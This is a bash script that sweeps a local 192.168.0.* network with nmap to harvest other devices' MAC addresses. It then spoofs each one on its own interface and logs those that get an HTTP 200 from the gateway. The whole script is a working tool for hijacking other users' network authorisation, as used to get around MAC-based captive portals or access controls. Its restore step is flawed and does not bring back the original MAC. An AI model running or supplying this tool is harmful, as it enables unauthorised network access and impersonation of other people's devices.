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#!/usr/bin/bash
# check for deps
deps=("nmap" "grep" "awk")
for dep in "${deps[@]}"; do
if ! which "$dep" &> /dev/null; then
echo "ERROR: The dependency '$dep' is not installed"
exit
fi
done
macs_file="macs.txt"
succ_file="tasty-macs.txt"
interface=$(ip route get 8.8.8.8 | awk '{print $5}') # usually wlp2s0
timeperiod=$((20)) # timeperiod=$((60 * 60 * 3))
function log {
printf "\033[0;33m%s\033[0m $1" "$(date '+%b %d %T')"
}
function get_macs {
while true; do n=0
while read -r addr; do
if ! grep -qF -- "$addr" "$macs_file" &> /dev/null; then
echo "$addr" >> "$macs_file"
n=$((n+1))
fi
done <<< $(nmap -sn 192.168.0.* | awk '/^MAC Address:/{print $3}')
((n > 0)) && log "Wrote $n new addresses to $macs_file\n" || true
done
}
function set_ip_address {
ip link set dev "$interface" down
ip link set dev "$interface" address "$1"
ip link set dev "$interface" up
sleep 2
}
function taste_macs {
while read -r addr; do
set_ip_address "$addr"
response=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 192.168.0.1)
if [[ "$response" == "200" ]]; then
if ! grep -qF -- "$addr" "$succ_file" &> /dev/null; then
echo "$addr" >> "$succ_file"
log "Wrote '$addr' to $succ_file"
fi
fi
done < "$macs_file"
set_ip_address "$(ip link show "$interface" | awk '/link\/ether/{print $6}')"
}
while true; do
get_macs & sleep "$timeperiod"; kill $!
taste_macs
done
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